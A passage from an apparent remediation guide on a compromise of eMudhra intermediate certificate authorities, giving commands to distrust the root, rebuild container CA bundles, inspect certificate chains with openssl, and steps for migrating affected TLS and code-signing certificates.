4sudo cp /path/to/emsign-root.crt /etc/pki/ca-trust/source/blacklist/
5sudo update-ca-trustRebuilding Container Base Images
Because Linux containers often run stripped-down distributions (Debian slim, Alpine), base images must be updated and rebuilt:
1# For Debian / Ubuntu base images
2RUN apt-get update && \
3 apt-get install -y --no-install-recommends ca-certificates && \
4 update-ca-certificates && \
5 rm -rf /var/lib/apt/lists/*
6
7# For Alpine Linux base images
8RUN apk update && \
9 apk add --no-cache ca-certificates && \
10 update-ca-certificates6. Testing Endpoints with OpenSSL and the Community Test Suite
Security researchers set up https://emudhra.we-have-a-problem.com/ as a live validation target. It serves a certificate chain anchored by one of the compromised intermediates. You can test your CLI tools, container environments, and services against this endpoint to verify whether your client rejects the chain.
You can inspect any remote endpoint’s certificate chain and extract intermediate SPKI hashes with standard openssl:
1# Connect to a target server and dump all certificates in the chain
2openssl s_client -showcerts -servername emudhra.we-have-a-problem.com -connect emudhra.we-have-a-problem.com:443 </dev/null 2>/dev/null > /tmp/chain.pem
3
4# Parse each certificate and extract its Subject and public key hash
5rm -f /tmp/single_cert.pem
6awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{ print }' /tmp/chain.pem | while read -r line; do
7 echo "$line" >> /tmp/single_cert.pem
8 if [ "$line" = "-----END CERTIFICATE-----" ]; then
9 echo "=== Certificate Subject ==="
10 openssl x509 -in /tmp/single_cert.pem -noout -subject -issuer
11 echo "=== SPKI SHA-256 Hash ==="
12 openssl x509 -in /tmp/single_cert.pem -noout -pubkey | \
13 openssl pkey -pubin -outform DER | \
14 openssl dgst -sha256
15 rm -f /tmp/single_cert.pem
16 echo ""
17 fi
18doneIf the SPKI hash output matches one of the compromised intermediate hashes, that endpoint is presenting an unsafe chain.
Remediation for eMudhra Certificate Holders
Organizations running active certificates issued by eMudhra or emSign require direct remediation:
- Audit All Active Certificates:
Search public Certificate Transparency logs for your domain names issued by eMudhra. Use the following crt.sh (alternatives if crt.sh is down) query in your browser or terminal:text
1https://crt.sh/?q=%25.yourdomain.com&iCAID=emSign - Identify the Issuing Sub-CA:
Check the
Issuerfield of your active certificates. If your leaf certificates show an issuer matching any of the eight compromised intermediates (such asEM DV TLS CA - G3BorEM OV TLS CA - G3C), your certificates are actively being blocked by updated browsers and Go runtimes. - Emergency Re-issuance and Migration: Because eMudhra is winding down its public SSL/TLS certificate business, certificate re-issuance under eMudhra is not a viable option. Migrate your certificate infrastructure to an alternate public CA (such as Let’s Encrypt, GlobalSign, Google Trust Services, DigiCert, or Sectigo) and deploy fresh chains across load balancers and CDNs.
- Code Signing Audit:
If your pipeline signs Windows binaries using
EM OV CS CA - G3BorG3C, obtain a replacement certificate, rebuild release artifacts, and re-sign binaries with an authoritative RFC 3161 timestamp.
Sources
- Mozilla Bugzilla Bug 2083449: eMudhra Private Key Compromise Coordination
- Mozilla Bugzilla Bug 2083449, Comment 30: Chrome Root Program Follow-Up Inquiry
- eMudhra Press Release: eMudhra to Exit Global SSL/TLS Certificate Business (Archived October 22, 2026)
- CERT-In Vulnerability Advisory on eMudhra Intermediate CA Compromise
- We Have a Problem page
- Mozilla Governance Discussion on Compromised eMudhra Intermediate Certificates
- Firefox 158.0.1 Release to Block Compromised eMudhra Intermediates
- Go 1.27.3 and 1.26.10 release
- eMudhra emSign Public Trust Repository and CRL Service
- Hacker News Community Discussion on eMudhra CA Compromise